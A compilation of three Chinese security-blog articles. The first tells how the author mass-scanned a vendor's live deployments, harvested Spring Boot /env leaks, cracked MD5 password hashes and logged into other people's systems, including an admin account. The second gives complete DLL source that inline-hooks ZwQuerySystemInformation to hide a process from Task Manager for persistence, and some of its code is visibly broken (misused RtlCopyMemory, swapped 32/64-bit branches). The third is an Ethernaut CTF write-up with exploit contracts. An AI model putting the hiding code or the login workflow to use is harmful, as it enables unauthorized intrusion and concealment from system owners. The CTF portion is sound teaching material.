从一个信息泄露获取多本cnvd证书的过程
https://www.yijinglab.com/expc.do?ec=ECID07d9-3ccd-4c90-8a09-b980d8cd7858前言   个人在无事的时候喜欢逛cnvd官网,查看最近出的一些漏洞,以及去尝试挖掘,在此过程中让自己的能力提升,运气好的情况下说不定还能获取证书(小小的想法,嘿嘿)。 寻找目标?   又和往常一样,继续逛cnvd官网。 这里提示说一下,这边我主要选择一个是web应用漏洞列表,因为比较好挖,而且适合我这样的小白。 确定目标   在艰难的选择下,选中一名幸运厂商“xxxx”,下面直接说挖掘方法。注:在寻找厂家的时候一定要选择那些获得证书的漏洞厂家,这样只要能发现厂家的一些漏洞,那证书岂不是稳稳的嘛。具体获得证书的要求如下: 知道了获取方式的要求,就直接进入主题吧。 利用搜索工具或者引擎,搜索厂家的系统或者设备 搜索方式个人比较喜欢用fofa,fofa-yyds(要是有个高级会员就更好了) 如何去搜?简单的一种方式,就是直接将某设备或者某系统直接复制粘贴到fofa搜索框中,如下: 可能上面有点啰嗦了,但是了解怎么去搜索才是挖到漏洞和获取证书的前提。 第一本证书 下面说说个人挖掘到证书的流程。1、确定网站指纹,去目标网站官网,了解该系统或者设备使用什么语言什么框架所写。 如:我所发现这次的目标是使用了spring boot框架所写,所以直接确定是否存在信息泄露等漏洞。 发现是spring boot,下面直接进行工具扫描。注:一些网站并未显示出来,也可能显示出来但是漏洞被修复了,所以需要去多个网站查看,这个漏洞我是进行多个站点扫描才发现。 利用工具:xray、dirsearch等目录工具基本都可以,这里我直接用xray进行被动式扫描。 漏洞如下:http://xxx:port/env 因敏感信息比较多,所以就稍微截了点图。 发现第一个漏洞(信息泄露) 这个漏洞可以直接获取存在用户的密码(md5加密) 然而登录页面中发现登录密码,加密方式并不是md5加密,是其他加密。(当时有点迷)。在尝试了多个网站,发现有一些md5是可以被解出来的。通过解出来的密码可以成功登陆。 成功登陆 到这里第一本证书到手。前提是别人未提交,那必须稳稳拿下。 第二本证书 第二个漏洞-未授权访问 这个漏洞还是继续去分析上面的env页面,从中发现了这个漏洞(未授权访问)。 从中发现了一个目录/xxxmms/,当多次尝试一些网站的时候发现成功跳转了,所以第二个证书到手了----未授权访问。 未获得证书(撞洞了) 再回头去看env页面,发现还有其他的一些目录,还是一样操作,多个网站进行测试,发现了其他的一个系统。 这里的密码加密方式为md5,并且我发现其他用户system用户,这个才是管理员用户。 然后直接替换md5进行登录,在这里需要使用burp提换两次密码,才能成功登录。 首先通过信息泄露漏洞,获取system的MD5值: 通过提换md5进行登录(还有一次替换跳过) 成功登录 第三本证书 通过env页面泄露的目录,又发现其他系统 在页面中发现使用手册,发现默认密码为123456,但是未登录成功。相继去尝试了很多站点,发现都被修改了密码。然后就利用一开始解密出来的密码进行登录,发现有的可以登录成功,有的却不行。最终还是找到了远超过10+的案例。并去提交了漏洞,但未成功通过。驳回如下: 然后没办法继续去在后台进行测试,寻找未授权的页面,这样才能获取证书。最终通过burp和目录扫描工具发现一个soap接口信息泄露,并且未带有token值,所以应该存在未授权。访问其他未登录的站点: 到此结束这次的测试。提交如下: 先到手两本证书,还有一本还在制定中。 ### 这里其实没有多少技术含量,主要就是运气加细心,挖掘过程其实大部分都是差不多的,首先了解网站使用的指纹,然后使用的框架是不是有一些暴露出来的漏洞,过后就是批量去做,不要盯着一个站点去看,因为可能这个站点就没漏洞或者一些信息泄露的页面,通过多个站点进行测试,说不定就发现了新大陆了呢。所以多做试探就好,多结合一些工具进行测试。总会有的系统存在差异,只要抓到一个,像这种的厂家就可以进行批量打,还是比较舒服的。
巧用进程隐藏进行权限维持
基础知识 进程(Process)是计算机中的程序关于某数据集合上的一次运行活动,是系统进行资源分配和调度的基本单位,是https://baike.baidu.com/item/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F结构的基础。在早期面向进程设计的计算机结构中,进程是程序的基本执行实体;在当代面向线程设计的计算机结构中,进程是线程的容器。程序是指令、数据及其组织形式的描述,进程是程序的实体。https://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182015092816503700001 我们在计算机上的每个程序运行起来之后都可以被称作进程,进程可以在任务管理器里面看见,如下所示 那么我们在进行渗透的过程中,如果我们运行了一些本没有运行的进程,我们想要达到不被对方发现的效果,其中一个方法就是实现进程隐藏,让对方在任务管理器里面看不到这个进程,当然这里只针对的是不被小白发现,专业的人员不在这个讨论范围内。 那么实现进程隐藏可以通过HOOK api的方式实现,我们知道一般我们要获取进程快照都是使用CreateToolHelp32Snapshot这个api,而这个api在内核层最终会调用ZwQuerySystemInformation这个api来获取系统进程信息,那么我们就可以直接去hook内核的这个api,因为最终还是调用内核的这个api,从而实现进程隐藏 实现过程 那么这里需要一些基础知识,hook api的实现最终还是要归结到Inline HOOK,通过修改api的前几个字节的数据,写入一个E9(jump)到我们自己的函数中执行 简单介绍一下Inline hook,API函数都保存在操作系统提供的DLL文件中,当在程序中使用某个API函数时,在运行程序后,程序会隐式地将API所在的DLL加载入进程中。这样,程序就会像调用自己的函数一样调用API。 在进程中当EXE模块调用CreateFile()函数的时候,会去调用kernel32.dll模块中的CreateFile()函数,因为真正的CreateFile()函数的实现在kernel32.dll模块中。 CreateFile()是API函数,API函数也是由人编写的代码再编译而成的,也有其对应的二进制代码。既然是代码,那么就可以被修改。通过一种“野蛮”的方法来直接修改API函数在内存中的映像,从而对API函数进行HOOK。使用的方法是,直接使用汇编指令的jmp指令将其代码执行流程改变,进而执行我们的代码,这样就使原来的函数的流程改变了。执行完我们的流程以后,可以选择性地执行原来的函数,也可以不继续执行原来的函数。 假设要对某进程的kernel32.dll的CreateFile()函数进行HOOK,首先需要在指定进程中的内存中找到CreateFile()函数的地址,然后修改CreateFile()函数的首地址的代码为jmp MyProc的指令。这样,当指定的进程调用CreateFile()函数时,就会首先跳转到我们的函数当中去执行流程,这样就完成了我们的HOOK了。 那么既然有了IAThook,我们为什么还要用Inlinehook呢,直接用IAThook不是更方便吗?看硬编码多麻烦。 我们思考一个问题,如果函数不是以LoadLibrary方式加载,那么肯定在导入表里就不会出现,那么IAThook就不能使用了,这就是Inlinehook诞生的条件。 硬编码 何为硬编码? 这里我就不生搬概念性的东西来解释了,说说我自己的理解。硬编码可以说就是用十六进制的字符组成的,他是给cpu读的语言,我们知道在计算机里面只有0和1,如果你要让他去读c语言的那些字符他是读不懂的,他只会读0和1,这就是硬编码。 硬编码的结构如下,有定长指令、变长指令等等一系列指令,还跟各种寄存器相关联起来,确实如果我们去读硬编码的话太痛苦了 这里就不过多延伸了,我们在Inline hook里面只会用到一个硬编码就是E9,对应的汇编代码就是jmp 这里我就直接通过Inline hook来实现进程隐藏,首先我们要明确思路,首先我们要获取到ZwQuerySystemInformation这个函数的地址,首先看一下这个函数的结构    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); 那么我们首先获取ntdll.dll的基址,这里可以使用GetModuleHandle,也可以使用LoadLibraryA HMODULE hDll = ::GetModuleHandle(L"ntdll.dll"); 然后使用GetProcAddress获取ZwQuerySystemInformation的函数地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); 获取到函数地址之后我们就需要进行hook操作,这里注意一下,在32位中跳转的语句应该为jmp New_ZwQuerySystemInformation,对应的硬编码就是E9 xx xx xx xx,那么在32位的情况下我们要执行跳转就需要修改5个字节的硬编码,而在64位中跳转的语句应该为mov rax, 0x1234567812345678、jmp rax,对应的硬编码就是48 b8 7856341278563412、ff e0,需要修改12个字节 在32位的情况下,修改5个字节 BYTE pData[5] = { 0xe9, 0, 0, 0, 0 }; 计算偏移地址,计算公式为新地址 - 旧地址 - 5 DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5; 因为我们要覆盖前5个字节那么我们首先把前5个字节放到其他地方保存 ::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr)); ::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData)); 64位的情况下同理,只是修改字节为12个字节 BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };    ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation;   ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr));   ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData)); 然后修改权限为可读可写可执行权限,否则会报错0xC0000005 ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect); 修改硬编码,再还原属性 ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData)); ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect); 到这里我们的hook函数就已经完成得差不多了,再写一个unhook函数,思路大体相同,代码如下 void UnHookAPI() {    //获取ntdll.dll基址    HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");    if (hDll == NULL)   {        printf("[!] GetModuleHandle false,error is: %d", GetLastError());        return;   }    else   {        printf("[*] GetModuleHandle successfully!\n\n");   }    // 获取 ZwQuerySystemInformation 函数地址    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");    if (NULL == ZwQuerySystemInformation)   {        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());        return;   }    else   {        printf("[*] ZwQuerySystemInformation successfully!\n\n");   }    // 修改为可读可写可执行权限    DWORD dwOldProtect = 0;   ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);    // 32位下还原5字节,64位下还原12字节 #ifdef _WIN64   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32)); #else   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32)); #endif    // 还原权限   ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect); 当我们执行完hook函数之后,需要跳转到我们自己的函数,在我们自己的函数里面,在我们自己的函数里面需要判断是否检索系统的进程信息,如果进程信息存在我们就需要将进程信息剔除 那么我们首先将钩子卸载掉,防止多次同时访问hook函数而造成数据混乱 UnHookAPI(); 然后加载ntdll.dll HMODULE hDll = ::LoadLibraryA("ntdll.dll"); 再获取ZwQuerySystemInformation的基址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); 这里看一下ZwQuerySystemInformation这个函数结构 NTSTATUS WINAPI ZwQuerySystemInformation(  _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,  _Inout_   PVOID                    SystemInformation,  _In_      ULONG                    SystemInformationLength,  _Out_opt_ PULONG                   ReturnLength ); 主要要关注的有两个参数,第一个参数是SystemInformationClass,他是用来表示要检索的系统信息的类型,再就是返回值,当函数执行成功则返回NTSTATUS,否则返回错误代码,那么我们首先要判断消息类型是否是进程信息 status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength); if (NT_SUCCESS(status) && 5 == SystemInformationClass) 这里我们定义一个指针指向返回结果信息的缓冲区 pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; 判断如果是我们想要隐藏进程的PID则删除进程信息 if (HideProcessID == (DWORD)pCur->UniqueProcessId) 删除完成之后我们再还原hook HookAPI(); 我们要实现的功能不只是在自己的进程空间内隐藏指定进程,那么我们就可以把代码写成dll文件方便注入,完整代码如下 // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" #include <iostream> #include <Winternl.h> HMODULE g_hModule; BYTE g_Oldwin32[5] = { 0 }; BYTE g_Oldwin64[12] = { 0 }; #pragma data_seg("mydata") HHOOK g_hHook = NULL; #pragma data_seg() #pragma comment(linker, "/SECTION:mydata,RWS") NTSTATUS New_ZwQuerySystemInformation(    SYSTEM_INFORMATION_CLASS SystemInformationClass,    PVOID SystemInformation,    ULONG SystemInformationLength,    PULONG ReturnLength ); void HookAPI(); void UnHookAPI(); void HookAPI() {        //获取ntdll.dll基址    HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");    if (hDll == NULL)   {        printf("[!] GetModuleHandle false,error is: %d\n\n", GetLastError());        return;   }    else   {        printf("[*] GetModuleHandle successfully!\n\n");   } #ifdef _WIN64    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #else    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #endif    // 获取 ZwQuerySystemInformation 函数地址    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");    if (NULL == ZwQuerySystemInformation)   {        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());        return;   }    else   {        printf("[*] ZwQuerySystemInformation successfully!\n\n");   }    // 32位则修改前5字节,64位则修改前12字节 #ifdef _WIN64    // jmp New_ZwQuerySystemInformation    // E9 xx xx xx xx    BYTE pData[5] = { 0xe9, 0, 0, 0, 0 };    // 计算偏移地址 , 偏移地址 = 新地址 - 旧地址 - 5    DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;   ::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));   ::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData)); #else    // mov rax, 0x1234567812345678    // jmp rax    // 48 b8 7856341278563412    // ff e0    BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };    ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation;   ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr));   ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData)); #endif    DWORD dwOldProtect = 0;    //修改为可读可写可执行权限   ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);   ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));    //还原权限   ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect); } void UnHookAPI() {    //获取ntdll.dll基址    HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");    if (hDll == NULL)   {        printf("[!] GetModuleHandle false,error is: %d", GetLastError());        return;   }    else   {        printf("[*] GetModuleHandle successfully!\n\n");   } #ifdef _WIN64    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #else    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #endif    // 获取 ZwQuerySystemInformation 函数地址    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");    if (NULL == ZwQuerySystemInformation)   {        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());        return;   }    else   {        printf("[*] ZwQuerySystemInformation successfully!\n\n");   }    // 修改为可读可写可执行权限    DWORD dwOldProtect = 0;   ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);    // 32位下还原5字节,64位下还原12字节 #ifdef _WIN64   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32)); #else   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32)); #endif    // 还原权限   ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect); } NTSTATUS New_ZwQuerySystemInformation(    SYSTEM_INFORMATION_CLASS SystemInformationClass,    PVOID SystemInformation,    ULONG SystemInformationLength,    PULONG ReturnLength ) {    NTSTATUS status = 0;    PSYSTEM_PROCESS_INFORMATION pCur = NULL;    PSYSTEM_PROCESS_INFORMATION pPrev = NULL;    // 隐藏进程的PID    DWORD HideProcessID = 13972;    // 卸载钩子    UnHookAPI();    HMODULE hDll = ::LoadLibraryA("ntdll.dll");    if (hDll == NULL)   {        printf("[!] LoadLibraryA failed,error is : %d\n\n", GetLastError());        return status;   }    else   {        printf("[*] LoadLibraryA successfully!\n\n");   } #ifdef _WIN64    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #else    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #endif    // 获取 ZwQuerySystemInformation 函数地址    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");    if (NULL == ZwQuerySystemInformation)   {        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());        return status;   }    else   {        printf("[*] ZwQuerySystemInformation successfully!\n\n");   }    // 调用原函数 ZwQuerySystemInformation    status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);    if (NT_SUCCESS(status) && 5 == SystemInformationClass)   {        pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;        while (TRUE)       {            // 若为隐藏的进程PID则删除进程信息            if (HideProcessID == (DWORD)pCur->UniqueProcessId)           {                if (pCur->NextEntryOffset == 0)               {                    pPrev->NextEntryOffset = 0;               }                else               {                    pPrev->NextEntryOffset = pCur->NextEntryOffset + pPrev->NextEntryOffset;               }           }            else           {                pPrev = pCur;           }            if (pCur->NextEntryOffset == 0)           {                break;           }            pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);       }   }    HookAPI();    return status; } BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     ) {    switch (ul_reason_for_call)   {    case DLL_PROCESS_ATTACH:        HookAPI();        g_hModule = hModule;        break;    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        UnHookAPI();        break;   }    return TRUE; } 实现效果 这里可以通过全局钩子注入或者远程线程注入把dll注入到其他进程里面,那么如果我们想要在任务管理器里面看不到某个进程,那么就需要将dll注入到任务管理器里面 我这里选择隐藏的是QQ音乐,这里运行下程序将dll注入 再看下效果,在任务管理器里面已经看不到QQ音乐这个进程了,进程隐藏成功
以太坊智能合约安全入门
Ethernaut记录 https://www.yijinglab.com/cour.do?w=1&c=CCIDf21b-1a56-42df-b444-57029ae03abcFallback 题目描述 Look carefully at the contract's code below. You will beat this level if you claim ownership of the contract you reduce its balance to 0 Things that might help How to send ether when interacting with an ABI How to send ether outside of the ABI Converting to and from wei/ether units (see help() command) Fallback methods 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Fallback {  using SafeMath for uint256;  mapping(address => uint) public contributions;  address payable public owner;  constructor() public {    owner = msg.sender;    contributions[msg.sender] = 1000 * (1 ether); }  modifier onlyOwner {        require(            msg.sender == owner,            "caller is not the owner"       );        _;   }  function contribute() public payable {    require(msg.value < 0.001 ether);    contributions[msg.sender] += msg.value;    if(contributions[msg.sender] > contributions[owner]) {      owner = msg.sender;   } }  function getContribution() public view returns (uint) {    return contributions[msg.sender]; }  function withdraw() public onlyOwner {    owner.transfer(address(this).balance); }  receive() external payable {    require(msg.value > 0 && contributions[msg.sender] > 0);    owner = msg.sender; } } 分析 题目的目标是成为这个合约的owner,并且将合约的balance清零。 在源代码中可以看到,成为合约的owner就代表着需要将合约中的owner赋值为我们的address,有三种方式: 1.调用contribute函数 2.调用receive函数 这里需要说明一下,constructor函数是合约的构造函数,是合约在初始化的时候建立的,而sender这个全局变量代表的是当前和合约交互的用户。所以说,contructor函数的sender不可能是除了创建者之外后续用户。 如要调用contribute函数,则需要向合约转账,转入的eth大于1000才可以成为onwer,而且每次只能转小于0.001eth,显然不可行。 那么如果调用receive函数,只需要转账大于0即可成为owner。那么这个receive函数怎么调用呢? 这个函数明显长得就和正常的函数不一样,没有function修饰。 这里的话首先解释一下什么是fallback https://me.tryblockchain.org/blockchain-solidity-fallback.html也就是说,直接向合约转账,使用address.send(ether to send)向某个合约直接转帐时,由于这个行为没有发送任何数据,所以接收合约总是会调用fallback函数。或者当调用函数找不到时就会调用fallback函数。 那么这个fallback和receive又有什么关系呢?在0.6以后的版本,fallback函数的写法就不是这么写了而是: fallback() external { } receive() payable external {   currentBalance = currentBalance + msg.value; } fallback 和 receive 不是普通函数,而是新的函数类型,有特别的含义,所以在它们前面加 function 这个关键字。加上 function 之后,它们就变成了一般的函数,只能按一般函数来去调用。 每个合约最多有一个不带任何参数不带 function 关键字的 fallback 和 receive 函数。 receive 函数类型必须是 payable 的,并且里面的语句只有在通过外部地址往合约里转账的时候执行。fallback 函数类型可以是 payable 也可以不是 payable 的,如果不是 payable 的,可以往合约发送非转账交易,如果交易里带有转账信息,交易会被 revert;如果是 payable 的,自然也就可以接受转账了。 尽管 fallback 可以是 payable 的,但并不建议这么做,声明为 payable 之后,其所消耗的 gas 最大量就会被限定在 2300。 也就是说,只要向合约转账,就会执行receive函数。具体来说,就是调用contract.sendTransaction({value : 1})。 所以说,要成为owner要经过以下两个步骤: 1.调用contribute使contribution大于0 2.向合约转账,调用receive,成为owner。 成为owner后,还需要将合约的balance清零,这里需要调用withdraw函数,也就是执行这一句: owner.transfer(address(this).balance); this指针指向的是合约本身,这句话的意思就是合约向owner的地址转帐合约所有的balance。 所以,最终的payload就是: contract.contribute({value: 1}) contract.sendTransaction({value: 1}) contract.withdraw() Fallout 题目描述 Level completed! Difficulty 2/10 Claim ownership of the contract below to complete this level. Things that might help Solidity Remix IDE 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Fallout {    using SafeMath for uint256;  mapping (address => uint) allocations;  address payable public owner;  function Fal1out() public payable {    owner = msg.sender;    allocations[owner] = msg.value; }  modifier onlyOwner {        require(            msg.sender == owner,            "caller is not the owner"       );        _;   }  function allocate() public payable {    allocations[msg.sender] = allocations[msg.sender].add(msg.value); }  function sendAllocation(address payable allocator) public {    require(allocations[allocator] > 0);    allocator.transfer(allocations[allocator]); }  function collectAllocations() public onlyOwner {    msg.sender.transfer(address(this).balance); }  function allocatorBalance(address allocator) public view returns (uint) {    return allocations[allocator]; } } 分析 提示是用ide看,问题就是他这个构造函数其实不是构造函数,Fal1out,直接调用即可。 过关后,会出现这样一段话: That was silly wasn't it? Real world contracts must be much more secure than this and so must it be much harder to hack them right? Well... Not quite. The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from 'Dynamic Pyramid' to 'Rubixi' but somehow they didn't rename the constructor method of its contract: contract Rubixi { address private owner; function DynamicPyramid() { owner = msg.sender; } function collectAllFees() { owner.transfer(this.balance) } ... This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in smartcontractland. coin flip 题目 需要连续十次猜中硬币翻转结果,猜对了就可以过关。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract CoinFlip {  using SafeMath for uint256;  uint256 public consecutiveWins;  uint256 lastHash;  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;  constructor() public {    consecutiveWins = 0; }  function flip(bool _guess) public returns (bool) {    uint256 blockValue = uint256(blockhash(block.number.sub(1)));    if (lastHash == blockValue) {      revert();   }    lastHash = blockValue;    uint256 coinFlip = blockValue.div(FACTOR);    bool side = coinFlip == 1 ? true : false;    if (side == _guess) {      consecutiveWins++;      return true;   } else {      consecutiveWins = 0;      return false;   } } } 分析 可以看到,每一次猜的值都要与blockhash/factor进行一个比对。这里,blocknumber指的是当前交易的区块编号,并不是合约所处的区块编号。由于一个块内交易数量很多,所以我们就可以通过布置一个合约,使其交易行为与验证的交易打包在一个块中,这样blockhash的值就可以提前算出来,重复十次即可过关 exp: // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract CoinFlip {  uint256 public consecutiveWins;  uint256 lastHash;  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;  constructor() public {    consecutiveWins = 0; }  function flip(bool _guess) public returns (bool) {    uint256 blockValue = uint256(blockhash(block.number-1));    if (lastHash == blockValue) {      revert();   }    lastHash = blockValue;    uint256 coinFlip = blockValue/FACTOR;    bool side = coinFlip == 1 ? true : false;    if (side == _guess) {      consecutiveWins++;      return true;   } else {      consecutiveWins = 0;      return false;   } } } contract exploit {  CoinFlip expFlip;  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;  constructor (address aimAddr) public {    expFlip = CoinFlip(aimAddr); }  function hack() public {    uint256 blockValue = uint256(blockhash(block.number-1));    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);    bool guess = coinFlip == 1 ? true : false;    expFlip.flip(guess); } } telephone 题目 需要成为合约的owner 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Telephone {  address public owner;  constructor() public {    owner = msg.sender; }  function changeOwner(address _owner) public {    if (tx.origin != msg.sender) {      owner = _owner;   } } } 分析 这里肯定是调用changeOwner,知识点就在于tx.origin和msg.sender之间的区别。 tx.origin (address):交易发送方(完整的调用链) msg.sender (address):消息的发送方(当前调用) 可以认为,origin为源ip地址,sender为上一跳地址。 所以思路就是部署一个合约A,我们调用这个合约A,而这个合约A调用题目合约,即可完成利用。 Exp: pragma solidity ^0.6.0; contract Telephone {  address public owner;  constructor() public {    owner = msg.sender; }  function changeOwner(address _owner) public {    if (tx.origin != msg.sender) {      owner = _owner;   } } } contract exploit {    Telephone target = Telephone(0x298b8725eeff32B8aF708AFca5f46BF8305ad0ba);    function hack() public{        target.changeOwner(msg.sender);   } } token 题目 The goal of this level is for you to hack the basic token contract below. You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens. 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Token {  mapping(address => uint) balances;  uint public totalSupply;  constructor(uint _initialSupply) public {    balances[msg.sender] = totalSupply = _initialSupply; }  function transfer(address _to, uint _value) public returns (bool) {    require(balances[msg.sender] - _value >= 0);    balances[msg.sender] -= _value;    balances[_to] += _value;    return true; }  function balanceOf(address _owner) public view returns (uint balance) {    return balances[_owner]; } } 分析 uint整数溢出,不会小于0。 exp: pragma solidity ^0.6.0; interface IToken {    function transfer(address _to, uint256 _value) external returns (bool); } contract Token {    address levelInstance;    constructor(address _levelInstance) public {        levelInstance = _levelInstance;   }    function claim() public {        IToken(levelInstance).transfer(msg.sender, 999999999999999);   } } delegation 题目 成为合约的owner 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Delegate {  address public owner;  constructor(address _owner) public {    owner = _owner; }  function pwn() public {    owner = msg.sender; } } contract Delegation {  address public owner;  Delegate delegate;  constructor(address _delegateAddress) public {    delegate = Delegate(_delegateAddress);    owner = msg.sender; }  fallback() external {   (bool result,) = address(delegate).delegatecall(msg.data);    if (result) {      this;   } } } 分析 有两个合约,第一个delegate里面有个pwn函数,可以直接获得owner。第二个合约delegation实例化了delegate,并且定义了fallback函数,里面通过delegeatecall调用delegate合约中的函数。 我们经常会使用call函数与合约进行交互,对合约发送数据,当然,call是一个较底层的接口,我们经常会把它封装在其他函数里使用,不过性质是差不多的,这里用到的delegatecall跟call主要的不同在于通过delegatecall调用的目标地址的代码要在当前合约的环境中执行,也就是说它的函数执行在被调用合约部分其实只用到了它的代码,所以这个函数主要是方便我们使用存在其他地方的函数,也是模块化代码的一种方法,然而这也很容易遭到破坏。用于调用其他合约的call类的函数,其中的区别如下:1、call 的外部调用上下文是外部合约2、delegatecall 的外部调用上下是调用合约上下文 也就是说,我们在delegation里通过delegatecall调用delegate中的pwn函数,pwn函数运行的上下文其实是delegation的环境。也就是说,此时执行pwn的话,owner其实是delegation的owner而不是delegate的owner。 抽象点理解,call就是正常的call,而delegatecall可以理解为inline函数调用。 